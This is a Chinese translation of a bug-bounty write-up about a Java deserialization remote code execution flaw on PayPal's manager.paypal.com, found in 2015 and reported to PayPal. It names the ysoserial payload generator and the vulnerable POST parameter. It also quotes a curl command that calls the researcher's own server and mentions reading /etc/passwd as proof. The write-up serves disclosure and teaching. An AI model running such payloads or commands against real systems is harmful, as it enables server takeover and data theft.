转载

PayPal远程命令执行漏洞分析

2015年12月,笔者在PayPal的 某个分站 中发现了一个能够远程执行任意shell命令的java反序列化漏洞,并且能够影响到PayPal的产品数据库。我马上将该漏洞提交给了PayPal,并且很快得到了修复。

漏洞细节

PayPal远程命令执行漏洞分析

在测试manager.paypal.com这个站点时,我的注意力被post提交中的不寻常的参数“oldForm”所吸引,这个参数的内容就像是base64解码后的复杂对象。

在经过一些研究之后,我意识到这就是能被应用处理的没有经过签名的java序列化对象。这意味着你能将存在的class序列化后提交给服务器,然后“readObject”(或者“readResolve”)方法会被调用来解析该序列化的对象。为了利用这个漏洞,你需要在应用的 “classpath” 中找到一个能被序列化的合适的class,并且能被“readObject”所解析。你可以从FoxGlove Security的 文章 中了解更多相关的技术细节。一年前, Chris Frohoff 和 Gabriel Lawrence 在Apache Common Collection这个库中发现了能够导致远程命令执行的合适的classes,然后也发布了“ ysoserial ”这个payload生成器。

漏洞证明

我马上下载了上面说到的这个工具,然后生成了一个简单的payload,这个payload会执行“curl x.s.artsploit.com/paypal”这个shell命令,然后会发送DNS和http请求到我自己的服务器。

PayPal远程命令执行漏洞分析

然后我在post请求的“oldFormData”参数中填入base64编码后的payload,发送给了服务器。在那之后,令我印象深刻的是在我的NGINX access log中发现了来自PayPal 的请求。

PayPal远程命令执行漏洞分析

我意识到我能在manager.paypal.com这个服务器上执行任意的命令,甚至我能反弹一个shell权限到我自己的服务器,然后上传和执行一个后门程序。结果会是通过manager.paypal.com这个网站,我能获取到paypal的production数据库。

但是我没有像上面说的那么去做,我只是读取了“/etc/passwd”的内容作为漏洞的验证。

我还捣鼓了一个如果复现该漏洞的视频提交给了PayPal安全团队。然后,我还发现了manager.paypal.com的其他很多地方也使用了序列化对象,并且能够被利用。

PayPal远程命令执行漏洞分析

Demo视频

*原文地址: artsploit ,FB小编老王隔壁的白帽子编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

原文  http://www.freebuf.com/vuls/94445.html
正文到此结束
Loading...